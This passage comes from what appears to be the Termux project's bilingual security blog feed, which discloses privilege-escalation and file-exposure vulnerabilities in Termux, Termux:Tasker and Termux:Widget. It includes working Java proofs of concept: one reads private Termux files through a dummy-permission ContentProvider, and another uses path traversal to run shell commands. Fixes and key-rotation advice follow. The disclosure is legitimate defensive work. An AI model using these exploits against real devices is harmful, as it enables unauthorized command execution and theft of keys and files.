<p>在旧版本上， <code>Termux:Widget</code> 创建的快捷方式和 Token 已经失效。如果恶意应用程序已经拥有这种 Token ，也无法再使用。Android <code>&gt;= 8</code> 上的用户只能使用更安全的 Pinned Shortcut API 来重新创建这些快捷方式，而不是继续使用不安全的 Static Shortcut API。 (<a href="https://github.com/termux/termux-widget/commit/32f344ee"><code>32f344ee</code></a>)</p>
</li>
<li>
<p>在执行之前， 程序首先 <a href="https://github.com/termux/termux-widget/blob/v0.13.0/app/src/main/java/com/termux/widget/TermuxWidgetProvider.java#L183">寻找并校验</a> <code>TermuxLaunchShortcutActivity</code> 接收到的可执行文件参数的规范路径。即使某个程序发送的 Intent 发送了路径，损坏的符号链接，或者其规范路径不在 <code>~/.shortcuts</code> 或 <code>~/.termux</code> 目录下的快捷方式将 <a href="https://github.com/termux/termux-widget/blob/v0.13.0/app/src/main/java/com/termux/widget/TermuxWidgetService.java#L30">不会被显示</a>，并且 <a href="https://github.com/termux/termux-widget/blob/v0.13.0/app/src/main/java/com/termux/widget/TermuxWidgetProvider.java#L186">后者会不允许被执行</a> 。(<a href="https://github.com/termux/termux-widget/commit/32f344ee"><code>32f344ee</code></a>, <a href="https://github.com/termux/termux-widget/commit/13954b8b"><code>32f344ee</code></a>, <a href="https://github.com/termux/termux-widget/commit/bcb0ab6c"><code>bcb0ab6c</code></a>)</p>
</li>
</ol>
<p>在 Android 版本 <code>&gt;=8</code> 上使用 Pinned Shortcut，不允许执行规范路径不在 <code>~/.shortcuts</code> 或 <code>~/.termux</code> 目录下的文件，可以提供合理的安全性，防止任意代码执行或权限提升。Android 版本 <code>&lt; 8</code> 时，仍然要使用 Static Shortcut，这些用户应该关注他们在哪些应用程序中创建了快捷方式，因为这些应用程序能够在允许的目录下执行任何脚本。这些用户通常应该去关注使用了哪些启动器，或者安装在他们的设备上的非启动器的快捷方式应用程序 (例如 <a href="https://play.google.com/store/apps/details?id=rk.android.app.shortcutmaker">Shortcut Maker</a>)，因为这些应用程序可以为其他应用程序执行危险的快捷方式，如果应用程序没有正确保护，可能会产生严重的后果。</p>
<p>查阅 <code>Termux:Widget</code> 的<a href="https://github.com/termux/termux-widget#setup-instructions"><code>README</code></a> 文件来获取更多详细信息。</p>
<h2 id="section-6"></h2>
<h2 id="termux-">3. Termux 文件全局可读</h2>
<p>本漏洞允许 <code>/data/data/com.termux/files</code> 下的 <strong>所有文件</strong> 对 <strong>任何应用程序</strong> 可读。</p>
<p>本漏洞首先存在于 <a href="https://github.com/termux/termux-app/releases/tag/v0.47"><code>v0.47</code></a> (<code>2017-02-28</code>)版本，从 <code>v0.47</code> 到 <code>&lt;= v0.117</code> 的任意版本均会收到该漏洞的影响。本漏洞被修复于 <a href="https://github.com/termux/termux-app/releases/tag/v0.118.0"><code>v0.118.0</code></a> (<code>2022-01-08</code>)版本。</p>
<p>该漏洞存在于 <a href="https://github.com/termux/termux-app/blob/v0.117/app/src/main/AndroidManifest.xml#L171">Termux 的 <code>ContentProvider</code> 声明</a> 中，因为设置了 <code>android.permission.permRead</code> 作为 <a href="https://developer.android.com/guide/topics/manifest/provider-element"><code>readPermission</code></a>。实际上，当用户请求使用另一个应用程序打开文件，比如使用 <code>termux-open</code> 时，Termux 会<a href="https://github.com/termux/termux-app/blob/v0.117/app/src/main/java/com/termux/app/TermuxOpenReceiver.java#L77">传递</a> <a href="https://developer.android.com/guide/topics/providers/content-provider-basics#getting-access-with-temporary-permissions"><code>FLAG_GRANT_READ_URI_PERMISSION</code> 标志</a>，所以目标应用不需要具有 <code>android.permission.permRead</code> 权限也可以读取文件，这也需要 <code>provider</code> 元素中声明 <code>grantUriPermissions=&quot;true&quot;</code>。但是，如果某些应用程序有这个权限，它就可以<a href="https://github.com/termux/termux-app/blob/v0.117/app/src/main/java/com/termux/app/TermuxOpenReceiver.java#L177">通过 Termux <code>TermuxOpenReceiver$ContentProvider.openFile()</code></a> 去 <strong>读取</strong> <code>files</code> 目录下的任何文件。</p>
<p>问题是，正如 <code>com.termux.permission.RUN_COMMAND</code> 这种自定义权限一样，Termux 并未公开声明 <code>android.permission.permRead</code> 权限。这种未公开声明权限可以被称为虚拟权限 (dummy permission)，可能是在添加 <code>ContentProvider</code> 时从一些教程或 StackOverflow 的回答中复制的，因为互联网搜索会显示来自不同站点的各种随机结果。这种虚拟权限本来应该被应用程序发布的自定义权限所替换，但事实上并非如此。这将会导致 <strong>任何应用</strong> 只需在自己的 <code>AndroidManifest.xml</code> 中发布这种权限，并通过 <code>uses-permission</code> 条目授予自己这种权限，就能够 <strong>读取</strong> <code>files</code> 下的任何文件和目录。</p>
<p>注意，其他应用程序只能 <strong>读取</strong> 文件，但不能 <strong>写入</strong> 文件，因为  <code>TermuxOpenReceiver$ContentProvider.openFile()</code> 返回了一个使用 <code>ParcelFileDescriptor.MODE_READ_ONLY</code> 文件的文件描述符，因此无法写入，如果调用者尝试写入，将会得到 <code>java.io.IOException: write failed: EBADF (Bad file descriptor)</code> 错误。 <code>provider</code> 元素中也没有设置 <code>writePermission</code>。这仅仅防止了任意代码执行和权限提升，在某些情况下，情况仍然十分糟糕。</p>
<h3 id="poc-2">1. POC</h3>
<p>下面这段 POC 将读取 <code>/data/data/com.termux/files/home/.bashrc</code> 并写入到 <code>/sdcard/bashrc.txt</code>。</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kt">void</span> <span class="nf">runTermuxContentProviderReadCommand</span><span class="o">(</span><span class="nc">Context</span> <span class="n">context</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">Uri</span> <span class="n">uri</span> <span class="o">=</span> <span class="nc">Uri</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="s">"content://com.termux.files/data/data/com.termux/files/home/.bashrc"</span><span class="o">);</span>
    <span class="c1">//Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");</span>
    <span class="nc">InputStream</span> <span class="n">inputStream</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
    <span class="nc">FileOutputStream</span> <span class="n">fileOutputStream</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>

    <span class="k">try</span> <span class="o">{</span>
        <span class="n">inputStream</span> <span class="o">=</span> <span class="n">context</span><span class="o">.</span><span class="na">getContentResolver</span><span class="o">().</span><span class="na">openInputStream</span><span class="o">(</span><span class="n">uri</span><span class="o">);</span>
        <span class="nc">File</span> <span class="n">outFile</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="nc">Environment</span><span class="o">.</span><span class="na">getExternalStorageDirectory</span><span class="o">(),</span> <span class="s">"bashrc.txt"</span><span class="o">);</span>
        <span class="n">fileOutputStream</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">FileOutputStream</span><span class="o">(</span><span class="n">outFile</span><span class="o">);</span>
        <span class="kt">byte</span><span class="o">[]</span> <span class="n">buffer</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="o">[</span><span class="mi">4096</span><span class="o">];</span>
        <span class="kt">int</span> <span class="n">readBytes</span><span class="o">;</span>
        <span class="k">while</span> <span class="o">((</span><span class="n">readBytes</span> <span class="o">=</span> <span class="n">inputStream</span><span class="o">.</span><span class="na">read</span><span class="o">(</span><span class="n">buffer</span><span class="o">))</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">Log</span><span class="o">.</span><span class="na">d</span><span class="o">(</span><span class="no">LOG_TAG</span><span class="o">,</span> <span class="s">"data: "</span> <span class="o">+</span> <span class="k">new</span> <span class="nc">String</span><span class="o">(</span><span class="n">buffer</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">readBytes</span><span class="o">,</span> <span class="nc">Charset</span><span class="o">.</span><span class="na">defaultCharset</span><span class="o">()));</span>
            <span class="n">fileOutputStream</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">buffer</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">readBytes</span><span class="o">);</span>
        <span class="o">}</span>
    <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
    <span class="o">}</span> <span class="k">finally</span> <span class="o">{</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">inputStream</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
                <span class="n">inputStream</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">fileOutputStream</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
                <span class="n">fileOutputStream</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;permission</span>
    <span class="na">android:name=</span><span class="s">"android.permission.permRead"</span>
    <span class="na">android:description=</span><span class="s">"@string/permission_termux_provider_description"</span>
    <span class="na">android:icon=</span><span class="s">"@mipmap/ic_launcher"</span>
    <span class="na">android:label=</span><span class="s">"Termux Provider"</span>
    <span class="na">android:protectionLevel=</span><span class="s">"normal"</span> <span class="nt">/&gt;</span>

<span class="nt">&lt;uses-permission</span> <span class="na">android:name=</span><span class="s">"android.permission.permRead"</span>  <span class="nt">/&gt;</span>
</code></pre></div></div>
<h3 id="section-7">2. 修复方式</h3>
<ol>
<li>
<p>在 <a href="https://github.com/termux/termux-app/blob/dd952a90ade33e77b30959abf9d71c80b9702ba7/app/src/main/AndroidManifest.xml#L155">Termux <code>ContentProvider</code> 的声明中</a>，虚拟权限 <code>android.permission.permRead</code> <code>readPermission</code> 被<em>悄悄地</em>替换为 <code>com.termux.permission.RUN_COMMAND</code>。用于 <a href="https://github.com/termux/termux-app/wiki/RUN_COMMAND-Intent"><code>RUN_COMMAND</code> Intent</a> 和其他插件执行命令的 <code>com.termux.permission.RUN_COMMAND</code> 权限来替换这个虚拟权限似乎是合适的，因为命令执行可以访问文件，并且对于第三方应用来说，请求单个权限会更容易。(<a href="https://github.com/termux/termux-app/commit/b62645cd"><code>b62645cd</code></a>)</p>
</li>
<li>
<p><code>TermuxOpenReceiver$ContentProvider.openFile()</code> 返回的文件描述符中的模式，之前是 <code>ParcelFileDescriptor.MODE_READ_ONLY</code>，现在<a href="https://github.com/termux/termux-app/blob/dd952a90ade33e77b30959abf9d71c80b9702ba7/app/src/main/java/com/termux/app/TermuxOpenReceiver.java#L196">改为</a> 以允许读和写或由 <a href="https://cs.android.com/android/platform/superproject/+/android-11.0.0_r40:frameworks/base/core/java/android/os/ParcelFileDescriptor.java;l=625"><code>ParcelFileDescriptor.parseMode()</code></a> 返回的任何文件模式。通过此更改，没有 <code>com.termux.permission.RUN_COMMAND</code> 权限的应用程序将被拒绝访问文件，除非通过 <code>termux-open</code> 授予临时的读取权限。对于具有该权限的应用程序，他们可以使用以下代码进行读写。注意，如果调用程序被强制开启分区存储机制 (例如 <code>targetSdkVersion</code> <code>&gt; 28</code> )，那么使用 <code>File</code> APIs (<code>outFile.createNewFile()</code>) 写入到外部储存将会失败。(<a href="https://github.com/termux/termux-app/commit/b62645cd"><code>b62645cd</code></a>)</p>
</li>
</ol>
<details>
<summary>用于读取或写入 v0.118.0+ 的 termux 文件的示例代码</summary>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kt">void</span> <span class="nf">runTermuxContentProviderWriteCommand</span><span class="o">(</span><span class="nc">Context</span> <span class="n">context</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">Uri</span> <span class="n">uri</span> <span class="o">=</span> <span class="nc">Uri</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="s">"content://com.termux.files/data/data/com.termux/files/home/test.sh"</span><span class="o">);</span>
    <span class="nc">FileOutputStream</span> <span class="n">fileOutputStream</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
    <span class="nc">BufferedWriter</span> <span class="n">bufferedWriter</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
    <span class="nc">ParcelFileDescriptor</span> <span class="n">parcelFileDescriptor</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
    <span class="k">try</span> <span class="o">{</span>
        <span class="n">parcelFileDescriptor</span> <span class="o">=</span> <span class="n">context</span><span class="o">.</span><span class="na">getContentResolver</span><span class="o">().</span><span class="na">openFileDescriptor</span><span class="o">(</span><span class="n">uri</span><span class="o">,</span> <span class="s">"wt"</span><span class="o">);</span>
        <span class="nc">Log</span><span class="o">.</span><span class="na">d</span><span class="o">(</span><span class="no">LOG_TAG</span><span class="o">,</span> <span class="s">"parcelFileDescriptor: "</span> <span class="o">+</span> <span class="n">parcelFileDescriptor</span><span class="o">.</span><span class="na">describeContents</span><span class="o">());</span>
        <span class="n">fileOutputStream</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">FileOutputStream</span><span class="o">(</span><span class="n">parcelFileDescriptor</span><span class="o">.</span><span class="na">getFileDescriptor</span><span class="o">());</span>
        <span class="n">bufferedWriter</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">BufferedWriter</span><span class="o">(</span><span class="k">new</span> <span class="nc">OutputStreamWriter</span><span class="o">(</span><span class="n">fileOutputStream</span><span class="o">,</span> <span class="nc">Charset</span><span class="o">.</span><span class="na">defaultCharset</span><span class="o">()));</span>
        <span class="n">bufferedWriter</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="s">"echo 'some script'\n"</span><span class="o">);</span>
        <span class="n">bufferedWriter</span><span class="o">.</span><span class="na">flush</span><span class="o">();</span>
    <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
    <span class="o">}</span> <span class="k">finally</span> <span class="o">{</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">parcelFileDescriptor</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
                <span class="n">parcelFileDescriptor</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">fileOutputStream</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
                <span class="n">fileOutputStream</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">bufferedWriter</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
                <span class="n">bufferedWriter</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>

        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span>
    <span class="o">}</span>
<span class="o">}</span>

<span class="kd">private</span> <span class="kt">void</span> <span class="nf">runTermuxContentProviderReadCommand</span><span class="o">(</span><span class="nc">Context</span> <span class="n">context</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">Uri</span> <span class="n">uri</span> <span class="o">=</span> <span class="nc">Uri</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="s">"content://com.termux.files/data/data/com.termux/files/home/.bashrc"</span><span class="o">);</span>
    <span class="c1">//Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");</span>
    <span class="nc">InputStream</span> <span class="n">inputStream</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
    <span class="nc">FileOutputStream</span> <span class="n">fileOutputStream</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>

    <span class="k">try</span> <span class="o">{</span>
        <span class="n">inputStream</span> <span class="o">=</span> <span class="n">context</span><span class="o">.</span><span class="na">getContentResolver</span><span class="o">().</span><span class="na">openInputStream</span><span class="o">(</span><span class="n">uri</span><span class="o">);</span>
        <span class="nc">File</span> <span class="n">outFile</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="nc">Environment</span><span class="o">.</span><span class="na">getExternalStorageDirectory</span><span class="o">(),</span> <span class="s">"bashrc.txt"</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(!</span><span class="n">outFile</span><span class="o">.</span><span class="na">exists</span><span class="o">())</span>
            <span class="n">outFile</span><span class="o">.</span><span class="na">createNewFile</span><span class="o">();</span>
        <span class="n">fileOutputStream</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">FileOutputStream</span><span class="o">(</span><span class="n">outFile</span><span class="o">);</span>
        <span class="kt">byte</span><span class="o">[]</span> <span class="n">buffer</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="o">[</span><span class="mi">4096</span><span class="o">];</span>
        <span class="kt">int</span> <span class="n">readBytes</span><span class="o">;</span>
        <span class="k">while</span> <span class="o">((</span><span class="n">readBytes</span> <span class="o">=</span> <span class="n">inputStream</span><span class="o">.</span><span class="na">read</span><span class="o">(</span><span class="n">buffer</span><span class="o">))</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">Log</span><span class="o">.</span><span class="na">d</span><span class="o">(</span><span class="no">LOG_TAG</span><span class="o">,</span> <span class="s">"data: "</span> <span class="o">+</span> <span class="k">new</span> <span class="nc">String</span><span class="o">(</span><span class="n">buffer</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">readBytes</span><span class="o">,</span> <span class="nc">Charset</span><span class="o">.</span><span class="na">defaultCharset</span><span class="o">()));</span>
            <span class="n">fileOutputStream</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">buffer</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">readBytes</span><span class="o">);</span>
        <span class="o">}</span>
    <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
    <span class="o">}</span> <span class="k">finally</span> <span class="o">{</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">inputStream</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
                <span class="n">inputStream</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">fileOutputStream</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
                <span class="n">fileOutputStream</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
</details>
&nbsp;&nbsp;
<ol start="3">
<li>只有在 <code>~/.termux/termux.properties</code> 中将 <code>allow-external-apps</code> 设置为 <code>true</code> 时才允许 Termux <code>ContentProvider</code> 访问文件。 如果在 <code>v0.118.0</code> 中，未将该值设置为 <code>true</code>，这也会导致 <code>termux-open</code> 和 <code>xdg-open</code> 命令失败。将来的版本中，将添加错误通知。像 <code>QuickEdit</code> 这样的调用程序可能仍会弹出一个一闪而过的错误提示。查阅 <a href="https://github.com/termux/termux-tasker#allow-external-apps-property-optional">https://github.com/termux/termux-tasker#allow-external-apps-property-optional</a> 来获取有关如何更改选项中值的信息。 通过 <code>ContentProvider</code> 来写入 <code>~/.termux/termux.properties</code> 的权限也被禁用，因此应用程序无法在未经用户同意的情况下修改 Termux 设置，尽管现在还可以使用 <code>RUN_COMMAND</code> Intent 执行这种操作，最后可能会实现白名单命令列表来给用户更多的控制权。 (<a href="https://github.com/termux/termux-app/commit/dcedf394"><code>dcedf394</code></a>, <a href="https://github.com/termux/termux-app/commit/e302a14c"><code>e302a14c</code></a>)</li>
</ol>
<h3 id="section-8">3. 讨论</h3>
<p><strong>对于使用 Termux 应用程序版本 <code>&lt;= v0.117</code> 的用户，应该假定所有的私有文件 (例如 <code>ssh</code> 的安全密钥，或其他应用的加密密钥) 都已经泄露。强烈建议使用新的密钥替换任何此类密钥，并从 Termux 连接的任何远程服务器中查看是否存在任何可疑的授权访问。</strong></p>
<p>仍然在使用谷歌应用商店版本的 Termux 用户，请 <strong>立即</strong> 切换到F -Droid 或 Github Release 的版本。尽管曾经可能会进行一些更新，但由于 <a href="https://github.com/termux/termux-packages/wiki/Termux-and-Android-10">Android <code>10</code> 的一些问题</a>，谷歌应用商店上的程序之后不会再继续更新。谷歌应用商店的构建版本已经在约 <code>150</code> 天前被<a href="https://github.com/termux/termux-app#google-play-store-deprecated">弃用</a>，也不会再提供任何支持。查阅 <a href="https://github.com/termux/termux-app#installation">https://github.com/termux/termux-app#installation</a> 来获取有关如何安装或更新 Termux 应用程序的更多信息。</p>
<p>理想状况下，谷歌应用商店、F-Droid 以及其他的应用商店也应该检查是否有任何其他应用程序正在使用 <code>android.permission.permRead</code> 或 <code>android.permission.permWrite</code> 权限，或在应用程序的互联网搜索中有应用程序存在 ContentProvider 声明中的其他虚拟权限 (dummy permissions)，并通知他们的开发者，因为这些应用程序也容易受到此类漏洞的攻击。此外，任何声明或请求这些权限的恶意应用程序也应该被发现并删除。</p>
<p>如果任何其他开发人员对 <code>Termux</code> 及其插件的应用程序代码进行审计，以查找其他潜在的安全漏洞并修复，从而为用户提供更安全的环境，我们将不胜感激。</p>
<h2 id="section-9"></h2>]]></content><author><name></name></author><category term="security" /><summary type="html"><![CDATA[这是 termux-app、termux-tasker 和 termux-widget 的漏洞报告。]]></summary></entry><entry xml:lang="en"><title type="html">Termux Apps Vulnerability Disclosures</title><link href="https://termux.dev/en/posts/security/2022/02/15/termux-apps-vulnerability-disclosures.html" rel="alternate" type="text/html" title="Termux Apps Vulnerability Disclosures" /><published>2022-02-15T00:00:00+00:00</published><updated>2022-02-15T00:00:00+00:00</updated><id>https://termux.dev/en/posts/security/2022/02/15/termux-apps-vulnerability-disclosures</id><content type="html" xml:base="https://termux.dev/en/posts/security/2022/02/15/termux-apps-vulnerability-disclosures.html"><![CDATA[<p>This is a vulnerability report for <code>termux-app</code>, <code>termux-tasker</code> and <code>termux-widget</code>.</p>
<p>It is being released on <code>2022-02-15</code>, after <code>30</code> days of <code>termux-app</code> <a href="https://github.com/termux/termux-app/releases/tag/v0.118.0"><code>v0.118.0</code></a> release and <code>~150</code> days since Google Playstore builds were officially deprecated with a terminal banner added in <a href="https://github.com/termux/termux-packages/pull/7493"><code>termux-tools</code> <code>v0.135</code></a> and <a href="https://github.com/termux/termux-app/commit/94e01d68"><code>termux-app</code> readme was updated with deprecation details</a>. This should have allowed enough time for users on Google Playstore builds (latest version <code>v0.101</code>) to move to F-Droid/Github releases for <code>Termux</code> app and all its plugin apps and enough time for other <code>Termux</code> app users on <code>&lt;= v0.117</code> to update to <code>&gt;= v0.118.0</code>.</p>
<p><strong>Users are advised to immediately update to <a href="https://github.com/termux/termux-app/releases/tag/v0.118.0"><code>Termux</code> <code>v0.118.0</code></a>, <a href="https://github.com/termux/termux-tasker/releases/tag/v0.5"><code>Termux:Tasker</code> <code>v0.5</code></a> and <a href="https://github.com/termux/termux-widget/releases/tag/v0.13.0"><code>Termux:Widget</code> <code>v0.13.0</code></a> if they are using any older version.</strong></p>
<h2 id="contents">Contents</h2>
<ul>
<li><a href="#1-termux-tasker-privilege-escalation-vulnerability">1. Termux:Tasker Privilege Escalation Vulnerability</a></li>
<li><a href="#2-termux-widget-privilege-escalation-vulnerability">2. Termux:Widget Privilege Escalation Vulnerability</a></li>
<li><a href="#3-termux-files-world-readable">3. Termux Files World Readable</a></li>
</ul>
<h2 id="section"></h2>
<h2 id="termuxtasker-privilege-escalation-vulnerability">1. Termux:Tasker Privilege Escalation Vulnerability</h2>
<p>This vulnerability allowed execution of <strong>any command</strong> in <code>termux</code> context or even <code>root</code> context if termux had been granted root permissions by <strong>any app</strong>.</p>
<p>The vulnerability existed since the first release of the plugin <a href="https://github.com/termux/termux-tasker/releases/tag/v0.1"><code>v0.1</code></a> (<code>2016-12-26</code>) till <code>&lt;= v0.4</code> and was fixed in <a href="https://github.com/termux/termux-tasker/releases/tag/v0.5"><code>v0.5</code></a> (<code>2020-12-07</code>).</p>
<p>The vulnerability existed in <a href="https://github.com/termux/termux-tasker/blob/v0.4/app/src/main/java/com/termux/tasker/FireReceiver.java#L50"><code>FireReceiver</code></a> of the <code>Termux:Tasker</code> app where it didn't check the full canonical path of the executable and executed it as is. The <code>Termux:Tasker</code> app is only meant to allow scripts in <code>~/.termux/tasker</code> directory to be executed to prevent arbitrary commands to be run in termux context by other apps but without the canonical path check for the executable, an app could send <code>../../../usr/bin/bash</code> as the executable value and <code>-c &quot;some termux context command&quot;</code> as args value to run commands in <code>termux</code> context or send <code>../../../usr/bin/su</code> as the executable value and <code>-c &quot;some root context command&quot;</code> as args value to run commands in <code>root</code> context.</p>
<p>Note that it does not require a plugin app to send intents to <code>FireReceiver</code>, but any app can send the intent using java. The <a href="/assets/posts/globals/general/2022-02-15-termux-apps-vulnerability-disclosures/Termux_Tasker_Exploit.tsk.xml"><code>Termux:Tasker Exploit</code></a> task does just that and uses <code>Tasker</code> java actions to emulate how a normal app would send an intent.</p>
<h3 id="proof-of-concept">1. Proof Of Concept</h3>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Intent</span> <span class="n">intent</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Intent</span><span class="o">(</span><span class="s">"com.twofortyfouram.locale.intent.action.FIRE_SETTING"</span><span class="o">);</span>
<span class="n">intent</span><span class="o">.</span><span class="na">setClassName</span><span class="o">(</span><span class="s">"com.termux.tasker"</span><span class="o">,</span> <span class="s">"com.termux.tasker.FireReceiver"</span><span class="o">);</span>

<span class="nc">Bundle</span> <span class="n">bundle</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Bundle</span><span class="o">();</span>
<span class="n">bundle</span><span class="o">.</span><span class="na">putString</span><span class="o">(</span><span class="s">"com.termux.tasker.extra.EXECUTABLE"</span><span class="o">,</span> <span class="s">"../../../usr/bin/bash"</span><span class="o">);</span>
<span class="n">bundle</span><span class="o">.</span><span class="na">putString</span><span class="o">(</span><span class="s">"com.termux.execute.arguments"</span><span class="o">,</span> <span class="s">"-c \"echo -n 'I am '; whoami; echo 'creating exploit-file'; touch exploit-file; echo 'finding exploit-file'; find . -name exploit-file 2&gt;/dev/null; sleep 5;\""</span><span class="o">);</span>
<span class="n">bundle</span><span class="o">.</span><span class="na">putBoolean</span><span class="o">(</span><span class="s">"com.termux.tasker.extra.TERMINAL"</span><span class="o">,</span> <span class="kc">true</span><span class="o">);</span>
<span class="n">bundle</span><span class="o">.</span><span class="na">putInt</span><span class="o">(</span><span class="s">"com.termux.tasker.extra.VERSION_CODE"</span><span class="o">,</span> <span class="mi">4</span><span class="o">);</span>

<span class="n">intent</span><span class="o">.</span><span class="na">putExtra</span><span class="o">(</span><span class="s">"com.twofortyfouram.locale.intent.extra.BUNDLE"</span><span class="o">,</span> <span class="n">bundle</span><span class="o">);</span>
<span class="n">context</span><span class="o">.</span><span class="na">sendBroadcast</span><span class="o">(</span><span class="n">intent</span><span class="o">);</span>
</code></pre></div></div>
<h3 id="fix">1. Fix</h3>
<ol>
<li>
<p>To send an intent to <code>FireReceiver</code> now <a href="https://github.com/termux/termux-tasker/blob/v0.5/app/src/main/AndroidManifest.xml#L45">requires <code>com.termux.permission.RUN_COMMAND</code></a>, a <code>dangerous</code> runtime permission, to be granted to the calling app, which was <a href="https://github.com/termux/termux-app/blob/v0.118.0/app/src/main/AndroidManifest.xml#L16">published by Termux app</a>. The Tasker app already had requested the permission since <code>v5.9.3</code> for <a href="https://github.com/termux/termux-app/wiki/RUN_COMMAND-Intent"><code>RUN_COMMAND</code> intent</a> before the <code>v0.5</code> release but other automation apps would have had to request the permission in later versions. (<a href="https://github.com/termux/termux-tasker/commit/26da42f7"><code>26da42f7</code></a>)</p>
</li>
<li>
<p>The canonical path of the executable received by <code>FireReceiver</code> was <a href="https://github.com/termux/termux-tasker/blob/v0.5/app/src/main/java/com/termux/tasker/FireReceiver.java#L70">found</a> before it was processed. The <code>v0.5</code> release officially added support to allow executables outside the <code>~/.termux/tasker</code> directory, but only if user had explicitly added <code>allow-external-apps=true</code> to <code>~/.termux/termux.properties</code>. (<a href="https://github.com/termux/termux-tasker/commit/a5af3db3"><code>a5af3db3</code></a>)</p>
</li>
</ol>
<p>This dual permission model enforced by android os permission and an app setting for absolute paths provides reasonable security against any arbitrary code execution or privilege escalation unless users grant the permission to untrusted apps.</p>
<p>Check <code>Termux:Tasker</code> <a href="https://github.com/termux/termux-tasker#setup-instructions"><code>README</code></a> for more details on new design.</p>
<h3 id="discussion">1. Discussion</h3>
